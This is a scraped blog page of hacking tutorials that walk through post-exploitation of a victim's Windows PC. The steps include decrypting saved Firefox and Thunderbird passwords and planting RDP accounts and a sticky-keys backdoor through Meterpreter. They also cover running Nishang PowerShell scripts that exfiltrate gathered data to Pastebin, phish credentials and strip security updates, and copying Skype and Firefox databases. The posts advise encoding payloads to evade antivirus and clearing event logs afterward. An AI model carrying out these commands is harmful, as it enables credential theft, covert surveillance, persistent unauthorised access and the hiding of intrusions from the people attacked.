src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmfJzH48P6SQEUcFNBwZ53ZE7X7XTF5DJFNAdOhRQdAyB5MTv6Q03bnZjPDLvj0C_PoTg2Flg2JCqeEgrSnXN0vzQ2XundpUqFyS2slDrUt3dLvtEEOLrup1yV6yOkjefz8G7s9JFYKxb7/s1600/download.PNG" title="download_creds" /></a></div><br /><a name="more"></a><br />Now we have database file as well as encryption key in key3.db. So now we have to decrypt it. I can not find any third party software to decrypt this passwords for linux platform.But i found one software which is working very well in windows.Download software from <a href="http://securityxploded.com/download.php#thunderbirdpassdecryptor" target="_blank">here</a> . (It will work for both Firefox & thunderbird)<br /><br />(1)copy key3.db,signons.sqlite;cert8.db files in some folder which can be browse from windows.<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9c7ZpsLEwwvhd7Tf7ZIw2NXex50bHbDdNM9UKsO-b5pW5qc6cI-NKPNdTb6jhMeFGva9xL_SWBfCJMqMP8CDjxp4NDBIHf3rEntla8zoZf3nJD8za1hB8j_PHnDDVZ3L9bTrzjdWoS3zc/s1600/firefox_folder.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mozilla_creds_decryption" border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9c7ZpsLEwwvhd7Tf7ZIw2NXex50bHbDdNM9UKsO-b5pW5qc6cI-NKPNdTb6jhMeFGva9xL_SWBfCJMqMP8CDjxp4NDBIHf3rEntla8zoZf3nJD8za1hB8j_PHnDDVZ3L9bTrzjdWoS3zc/s320/firefox_folder.PNG" title="mozilla_creds_decryption" width="320" /></a></div><br /><br />(2)Open windows.<br />(3)Install that software.<br />(4)Open it and Just specify firefox installed path & specify folder in which we copied downloaded file.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvXq2wdKNk_aJNvAUohJQ3PCWYTeIf3pfm2EXusr395DtZ0J3zbX_oQStVeOjYTOMwSqOjdvJFzAWax4ox3KXXzxMufI7GX9SuTq7UksgnkUWoYnVv9ThDjB2-_E8P1-b2rMpmDpwsaIMM/s1600/password_decrypter.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvXq2wdKNk_aJNvAUohJQ3PCWYTeIf3pfm2EXusr395DtZ0J3zbX_oQStVeOjYTOMwSqOjdvJFzAWax4ox3KXXzxMufI7GX9SuTq7UksgnkUWoYnVv9ThDjB2-_E8P1-b2rMpmDpwsaIMM/s320/password_decrypter.PNG" width="320" /></a></div><br />(5)click on Start recovery button.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbhRqfck_WoDOQ2a38aSdEHKGlY1-c3djqcFd4ClywaXTeQ0cX3WqdJPxF0Iv8qDfavjHA9xVpkeax8EP3PLTdyeZ1H68shyiF7I2sLsArd75_YyUgOjNpLyYHAMinXO2BsbeXHfy6de/s1600/firefox_cred.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="decrypted_firefox_creds" border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbhRqfck_WoDOQ2a38aSdEHKGlY1-c3djqcFd4ClywaXTeQ0cX3WqdJPxF0Iv8qDfavjHA9xVpkeax8EP3PLTdyeZ1H68shyiF7I2sLsArd75_YyUgOjNpLyYHAMinXO2BsbeXHfy6de/s320/firefox_cred.PNG" title="decrypted_firefox_creds" width="320" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Fireox & thunderbird use same encryption technique. So you can also get thunderbird password from above mention method. Just download key3.db,signons.sqlite;cert8.db files from thunderbird folder whose path are as follow<br /><br />[Windows XP]<br />C:\Documents and Settings\<user_name>\Application Data\Thunderbird\Profiles\<random_name>.default<br /><br />[Windows Vista & Windows 7]<br />C:\Users\<user_name>\AppData\Roaming\Thunderbird\Profiles\<random_name>.default<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWkzUd-iBAr0nsHmACzx7-87AfPHJx1p7d8yFEV9bUOrQUX1VUeX3BtXNZCXWLNtpy9MbLaF79o3vHtJ3yv39z51NOUMlTqFWusJc8bAjF2mpbikOvkx7O56T_zVN0yST4UsmBIEYF8iCn/s1600/thunderbird_pwd.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="decryption_thunderbird_creds" border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWkzUd-iBAr0nsHmACzx7-87AfPHJx1p7d8yFEV9bUOrQUX1VUeX3BtXNZCXWLNtpy9MbLaF79o3vHtJ3yv39z51NOUMlTqFWusJc8bAjF2mpbikOvkx7O56T_zVN0yST4UsmBIEYF8iCn/s320/thunderbird_pwd.PNG" title="decryption_thunderbird_creds" width="320" /></a></div>What is solution?<br /><br />If you set master password for firefox & thunderbird then without master password ; saved passwords can not be decrypted.</div>

Extract & decrypt passwords from Firefox & Thunderbird.

Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from ...

+ Read more »

Post exploitation & swaparoo backdoor.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are going to create valid RDP user in victim pc using two method.<br /><br />(1)As usual get meterpreter session of victim using metasploit.We need system privilege So use getsystem .(getsystem will work in xp. But if victim has windows 7 than you have to use bypassuac module;it will work if victim has admin provilage.But most of time detecetd by AV. So you have to encode it. )<br /><br />Now we use meterpreter script which create RDP useraccount for logon.<br /><b>run getgui -u username -p password.</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFulPQH8sDlUivDQ6oWmlUcEHIX_ZKMcwyEu74iGMiE2TdFlbaHrDGxDjvpzijPziaE-C4KOKGCzsM1dpdjvFnmtBTpfMql918yXb_W1qJbSbdE4ReSIe3azMLcB-rD_hjZTiLNEfxklJv/s1600/Screenshot.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msf-post-exploitation" border="0" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFulPQH8sDlUivDQ6oWmlUcEHIX_ZKMcwyEu74iGMiE2TdFlbaHrDGxDjvpzijPziaE-C4KOKGCzsM1dpdjvFnmtBTpfMql918yXb_W1qJbSbdE4ReSIe3azMLcB-rD_hjZTiLNEfxklJv/s320/Screenshot.jpeg" title="msf-post-exploitation" width="320" /></a></div><br />Now Useraccount has been created.You can use rdesktop command to connect with victim using created credentials.<br /><br /><div style="text-align: left;"><b>rdesktop victim i.p. </b></div><br /><a name="more"></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEVxwZ_IyNQaHT4jwr2z2UQFRPwPeqr94pTiTwP8xUz-gTT68TtlskA2CN52EspZ6MSag-96Wrik2bfcs6uLg4-IsuqRhyphenhyphenbX-YxVq8bqCT815PzEBNztQw6lhLzETjXiYEZNVCQHsbM9y/s1600/Screenshot-1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msf-post-exploitation-2" border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWEVxwZ_IyNQaHT4jwr2z2UQFRPwPeqr94pTiTwP8xUz-gTT68TtlskA2CN52EspZ6MSag-96Wrik2bfcs6uLg4-IsuqRhyphenhyphenbX-YxVq8bqCT815PzEBNztQw6lhLzETjXiYEZNVCQHsbM9y/s320/Screenshot-1.jpeg" title="msf-post-exploitation-2" width="320" /></a></div><br />When you complete your session type following command for cleanup process; so after you logoff created useraccount will be deleted.<br /><br /><b>run multi_console_command -rc /root/msf4/logs/scripts/getgui/clean_up_what_ever_file_name.rc</b><br /><br /><div style="text-align: left;">(2)Now we use another method; it`s backdoor.But it`s physical backdoor; so you have to present at victim pc to get access.But backdoor is created remotely.</div><div style="text-align: left;"><br />Download swaparoo script from <a href="https://github.com/Un0wnX/swaparoo/blob/master/swaparoo.rb" target="_blank">here</a> .<br /><br />Put it into the /opt/msf/scripts/meterpreter folder<br /><br />After that get meterpreter shell using any method.<br /><br />Now type <b>run swaparoo -h</b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEO527IQVVFZGXp1JPcjL3w7KEOCAdm0DDGJ2TmguezbzyDwGLW_INaqZg-vCpFZkQwDbQIkr-jivB2aLP30pr_ih2aPBOgay2EyEc16a3lTlVkHF-tyhM5AqT45lNRkkZz4LGFww1lUpJ/s1600/reenshot.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="swaparoo-backdoor" border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEO527IQVVFZGXp1JPcjL3w7KEOCAdm0DDGJ2TmguezbzyDwGLW_INaqZg-vCpFZkQwDbQIkr-jivB2aLP30pr_ih2aPBOgay2EyEc16a3lTlVkHF-tyhM5AqT45lNRkkZz4LGFww1lUpJ/s320/reenshot.jpeg" title="swaparoo-backdoor-1" width="320" /></a></div><br />Now type<b>  run swaparoo</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRgXQm25RvMwZXE_2HUEj9oaZSWlEj1QA5qf2Iwair0DNQED3gx8BaBsyAFtlXiZ3EvpxF9RJugLU-3ntkQ7lYWibfOavHs-YNDSm8PS8pOi_Rwq2fFICmuGKcPlHayeChBdpAWVZpxTrF/s1600/Sot.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="swaparoo-backdoor" border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRgXQm25RvMwZXE_2HUEj9oaZSWlEj1QA5qf2Iwair0DNQED3gx8BaBsyAFtlXiZ3EvpxF9RJugLU-3ntkQ7lYWibfOavHs-YNDSm8PS8pOi_Rwq2fFICmuGKcPlHayeChBdpAWVZpxTrF/s320/Sot.jpeg" title="swaparoo-backdoor-2" width="320" /></a></div><br />As you can see in image last line is  "[+] Press Shift key 5 times at Login Screen and you should be greeted by a shell!"<br /><br />So when you restart victim pc & login screen appear ; just press shift key 5 times (From victim `s keyboard)you get cmd with system privilege.Now from cmd you can do anything like remove user,add user, change password.<br /><br />If you want to remove this backdoor then type following command<br /><br /><b>run swaparoo -r </b><br /><br /><b>What`s limitation?</b><br /><br />Anyone who is physically  present at terminal can get system cmd just by pressing keys.Because it does not ask for credentials.</div>

Post exploitation & swaparoo backdoor.

Today we are going to create valid RDP user in victim pc using two method. (1)As usual get meterpreter session of victim using metasploit.We...

+ Read more »

Post exploitation using Nishang.

<div dir="ltr" style="text-align: left;" trbidi="on">Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests. <br /><br />This framework is written by Nikhil Mittal who is also author of Kautilya framework.For more information you can visit his <a href="http://labofapenetrationtester.blogspot.com/" target="_blank">blog</a>. <br /><br />Today we will see some basic module from nishang framework for post exploitation.<br /><br />This tutorial is about post exploitation so first get meterpreter shell using any metasploit method. If you are new than visit <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">metasploit</a> section of blog.<br /><br />(1)Download nishang from <a href="https://code.google.com/p/nishang/downloads/detail?name=nishang_0.3.0.zip&can=2&q=" target="_blank">here .</a><br /><div class="separator" style="clear: both; text-align: center;"></div>(2)Unzip it & put it in root directory.<br /><br />meterpreter>shell<br />cd C:\\Users/victim<br />mkdir 123<br />exit<br /><br />meterpreter>upload /root/nishang/ C:\\Users/victim/123<br /><br />We upload all powershell script from our nishang folder to victim pc `s folder.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl_QvaygehbmsPygHTJZcp-zPI_eukCewbirMPEtVaHDKx1TppVpn-7E5jFmMWuZqJS3LuLGYemQ1YNmPhRdKDr-DEung77X6NJq4E9xGduWyZ79DzFppskmrqNYFHZnqZ9rtAMUizM8y4/s1600/Screenshot-1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nishang-1" border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl_QvaygehbmsPygHTJZcp-zPI_eukCewbirMPEtVaHDKx1TppVpn-7E5jFmMWuZqJS3LuLGYemQ1YNmPhRdKDr-DEung77X6NJq4E9xGduWyZ79DzFppskmrqNYFHZnqZ9rtAMUizM8y4/s640/Screenshot-1.jpeg" title="nishang-1" width="640" /></a></div><br />After upload we have to get shell.<br /><br />meterpreter>shell<br />cd c://Windows\System32\WindowsPowerShell\v1.0<br /><br /><br />So now everything is set ; we execute our powershell script from our shell.<br /><br />(1)First we use Information Gather module. It gather all informataion from victim pc & it has exifil option so gatherd information is directly uploaded to the pastebin;gmail.<br /><br />So type following in our shell<br /><br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Information_Gather.ps1 -exfil AIP_Of_Pastebin username password 1<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizY4JxFjTwBqqveQZYJSeW36Fcl0clzRTCLYKgQeFQxsVUAlFXnDq9kBFNSQ6ulQ8kojG9E5Yiyb5p8wCSezCWN7bt4xbFX5JB8iMgWvOAXPb7joiGyZhX65wiT-hEOxmY0o6Cj8MGe67C/s1600/Screenshot-2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nishang-1" border="0" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizY4JxFjTwBqqveQZYJSeW36Fcl0clzRTCLYKgQeFQxsVUAlFXnDq9kBFNSQ6ulQ8kojG9E5Yiyb5p8wCSezCWN7bt4xbFX5JB8iMgWvOAXPb7joiGyZhX65wiT-hEOxmY0o6Cj8MGe67C/s640/Screenshot-2.jpeg" title="nishang-2" width="640" /></a></div><a name="more"></a><br />After execution complete information is uploaded to the your pastebin account.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj37jnpBcy8kpvOfGps3tcPZnHh8bsDv1QgWjQaI8BYJSn2mrey6BNIgw0p71kOXPsMU7p5pzAZ9BEIgQa1X2e0M4wRl_N553TVZ6IW_RjAEE1qceFSvamEKF6iEz8WvkxpV3TX7UMJQN5/s1600/nishang.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nishang-3" border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj37jnpBcy8kpvOfGps3tcPZnHh8bsDv1QgWjQaI8BYJSn2mrey6BNIgw0p71kOXPsMU7p5pzAZ9BEIgQa1X2e0M4wRl_N553TVZ6IW_RjAEE1qceFSvamEKF6iEz8WvkxpV3TX7UMJQN5/s320/nishang.jpeg" title="nishang-3" width="320" /></a></div><br /><br />This information is encoded in base64; so to get plain text decode it using base64 decoder.<br /><br />(2)Another module is credential pop up. So it pop up credential menu in victim screen ; if victim enter right password then it will stop ;otherwise it will pop up again.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc9t53UPD3hcmA8Q_e6mSAvOYgql4vNCYWqy3lGXKHebGhLb78fwRwJ4D7YEJwm3duIxPpDETFcb1c52ojzn9TYCbRlvhsdZmSCT0hI1z2nkYbjoCFyqY5tkhBGUi-FQatxCg7xP-oLGMf/s1600/Screenshot-4.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nishang-4" border="0" height="66" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc9t53UPD3hcmA8Q_e6mSAvOYgql4vNCYWqy3lGXKHebGhLb78fwRwJ4D7YEJwm3duIxPpDETFcb1c52ojzn9TYCbRlvhsdZmSCT0hI1z2nkYbjoCFyqY5tkhBGUi-FQatxCg7xP-oLGMf/s640/Screenshot-4.jpeg" title="nishang-4" width="640" /></a></div><br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Credentials.ps1 -exfil AIP_Of_Pastebin username password 1<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3I4VLnPnxyhrazg71PKHGbxN4fyRkbzPPW3XcQx0u1FISw0eJFtV2pgeGk7Xrhw1ZqHbi7lOT1TUgZtQwiJ7unTaef4Yya83hyphenhyphenVVLrIp73sWhVlnuj2LVXGwRiztKIq8_m4FEg2voRXtp/s1600/nishang2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nishang-5" border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3I4VLnPnxyhrazg71PKHGbxN4fyRkbzPPW3XcQx0u1FISw0eJFtV2pgeGk7Xrhw1ZqHbi7lOT1TUgZtQwiJ7unTaef4Yya83hyphenhyphenVVLrIp73sWhVlnuj2LVXGwRiztKIq8_m4FEg2voRXtp/s320/nishang2.jpeg" title="nishang-5" width="320" /></a></div><br /><br />(3)Other good module is removing update from victim`s p.c.<br /><br />To all updates from the target. <br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Remove-Update.ps1 All <br /><br />TO remove all security updates from the target. <br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Remove-Update.ps1 Security <br /><br />To remove specific update from target. <br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Remove-Update.ps1 KB2761226<br /><br />(4)Speaks:-This powershell script speak text in victim`s pc which we write in our shell.<br /><br />powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Speak.ps1 'Hello sir; you have been hacked' <br /><br />These are  basic module ; there are also advanced module in nishnag.If you need more information than visit this <a href="http://labofapenetrationtester.blogspot.com/" target="_blank">link</a>.<br /><br />After using powershell script remove folder & clear event.<br />cd C:\\Users/victim <br />RD /s /q 123 <br />exit <br />clearev </div>

Post exploitation using Nishang.

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation...

+ Read more »

Extract skype & firefox data after exploitation.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we will see how can we extract skype username ; contacts details ;conversation;file transfer & also firefox history;cookies;google search from victim computer.<br /><br />First of all it`s post  exploitation, So i don`t go deep in How to hack remote P.C.. if you want to learn than click <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">here</a> & read <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">metasploit</a> section of blog.So you have to hack remote computer using <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">metasploit</a>.<br /><br /> I create simple payload ; encoded it so antivirus can not detect it.<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhalXJ2s17KhLqZAbQb-wTW_DdI9r8mjwSJM1qU1RbG5u9L3ibhdJh7aCFwAdocIuWAPOY1T5JcV_CjnolawJ1_2sGDGfTyOLqmVXgSVFa5xgCT7kSCJN4_lCOyZ97MRimg1T1_gFH9kBZl/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfcli" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhalXJ2s17KhLqZAbQb-wTW_DdI9r8mjwSJM1qU1RbG5u9L3ibhdJh7aCFwAdocIuWAPOY1T5JcV_CjnolawJ1_2sGDGfTyOLqmVXgSVFa5xgCT7kSCJN4_lCOyZ97MRimg1T1_gFH9kBZl/s200/Screenshot.png" title="msfcli" width="200" /></a> </div><br />And then send link to victim , as soon as he download payload and execute it we get meterpreter shell. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUEnkJJEIzuMNzLx3hIE-glHACcHf-bunKCQgU_GRICroiP8f8hbjiH55Dn6prQSwvtGC6wh3pOVYf94mn9Vf7_85yOxLzYtErTQaHVvnXtZULScZ0m__S6GWf69W1lJPBp3sr0ji4WSOc/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter" border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUEnkJJEIzuMNzLx3hIE-glHACcHf-bunKCQgU_GRICroiP8f8hbjiH55Dn6prQSwvtGC6wh3pOVYf94mn9Vf7_85yOxLzYtErTQaHVvnXtZULScZ0m__S6GWf69W1lJPBp3sr0ji4WSOc/s320/Screenshot-1.png" title="msfconsole" width="320" /></a></div><br /><a name="more"></a><br />After getting shell we have to get admin access of victim computer ;so by running getsystem command we can get admin access of shell.<br /><br />Now skype , firefox ,chrome stores their database in sql format ; so we have to download their database to our system.According to O.S. location of database is differ.We first download skype database its name is main.db.<br /><br />In windows C:\\Users\user_name\AppData\Roaming\Skype\skype_user_name <br />In mac     Users/user_name/Library//Application/Support/Skype/skype_user_name<br />In Linux   /root/.Skype/skype_user_name<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwRx0xSoaBHjKwF7mKdtsFOtU8ozfxtHxps9lq7LBJB8_gw4uj-OGpOFaeK3pdqVEtXMEL6HgVoY7-eH1J6RhMCMLHcd7EouZgSyVrEIq8bjw89uGqq1mjJQy9fxvOeeORokCUfKI7hdJL/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="extract_skype_data" border="0" height="101" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwRx0xSoaBHjKwF7mKdtsFOtU8ozfxtHxps9lq7LBJB8_gw4uj-OGpOFaeK3pdqVEtXMEL6HgVoY7-eH1J6RhMCMLHcd7EouZgSyVrEIq8bjw89uGqq1mjJQy9fxvOeeORokCUfKI7hdJL/s320/Screenshot-2.png" title="extract_skype_data" width="320" /></a></div><br />So we download database & saved to root folder.<br /><br /><br />Now we download firefox database folder which contain  cookies ;history ;search history ;download history.In below image you can show directory of database for firefox.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpaZmac2-LidQDhIiXl9qHwD0OQxG4D5gLiyRZgNM9YqR5tv4j9sbxWhfP6TCBcuaywlNwXcT3OD8o8soS_jPy4ihLLi0QAqxv0SPQGrhagCnG0BRcLgSmKQj55HVDOnZpBgTK7Q_iaDQ_/s1600/Screenshot-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="extract-firefox data" border="0" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpaZmac2-LidQDhIiXl9qHwD0OQxG4D5gLiyRZgNM9YqR5tv4j9sbxWhfP6TCBcuaywlNwXcT3OD8o8soS_jPy4ihLLi0QAqxv0SPQGrhagCnG0BRcLgSmKQj55HVDOnZpBgTK7Q_iaDQ_/s320/Screenshot-3.png" title="extract-firefox data" width="320" /></a></div> After getting database clear event ; close sessions if you don`t want any other post exploitation.<br /><br />Now we have database we have to extract data from it ; so if you know sqllite you can extract data manually but it`s very hard working process to extract data one by one.so we create script which extract data from database.<br /><br />Extract Data from skype database:-<br /><br /><a href="http://pentesterscript.wordpress.com/2013/08/07/extract-contacts-call-log-message-from-skype-database/" target="_blank">Here</a> is simple script to extract data from skype.Visit following link for downloading script.<br />http://pentesterscript.wordpress.com/2013/08/07/extract-contacts-call-log-message-from-skype-database/<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwX41wsZwl6aImS058DpIdfbrsZSyUI0VrI1SLUYsVRN8HNXaH-_I4bp_9_YQKhzaz6cNB-9M0MCS4iuj2evH731eizPiKcAQYakpGAE-aNdXaT7lvY7bUXXAy-62aDX7PT4tV3yAohLIL/s1600/Screensot-2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="skype-data" border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwX41wsZwl6aImS058DpIdfbrsZSyUI0VrI1SLUYsVRN8HNXaH-_I4bp_9_YQKhzaz6cNB-9M0MCS4iuj2evH731eizPiKcAQYakpGAE-aNdXaT7lvY7bUXXAy-62aDX7PT4tV3yAohLIL/s320/Screensot-2.jpeg" title="skype-data" width="320" /></a></div><br /><br /><br />Extract Data from firefox:-<br /><a href="http://pentesterscript.wordpress.com/2013/08/07/extract-data-from-firefox-database/" target="_blank">Here</a> is simple script to extract data from firefox.Visit following link for downloading script.<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJRYgMei1YqjDFyolZoMQW5xe1wa0SxcxOg1ETpg9kNrpkNNCiZFHWscWLbPEmfa0CVyb1SnyiuVFVG4XhXhFOToV7asIKE2Xv0qNGuX0BMUcdUuLknsHXpJQ0b_DAeCEHNyCOZb-pJeN4/s1600/sc.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="extract-firefox" border="0" height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJRYgMei1YqjDFyolZoMQW5xe1wa0SxcxOg1ETpg9kNrpkNNCiZFHWscWLbPEmfa0CVyb1SnyiuVFVG4XhXhFOToV7asIKE2Xv0qNGuX0BMUcdUuLknsHXpJQ0b_DAeCEHNyCOZb-pJeN4/s320/sc.jpeg" title="extract-firefox" width="320" /></a></div>You can also create script for  download database from chrome . Or if you need it then comment here ; i will send you.<br /><br /></div>

Extract skype & firefox data after exploitation.

Today we will see how can we extract skype username ; contacts details ;conversation;file transfer & also firefox history;cookies;google...

+ Read more »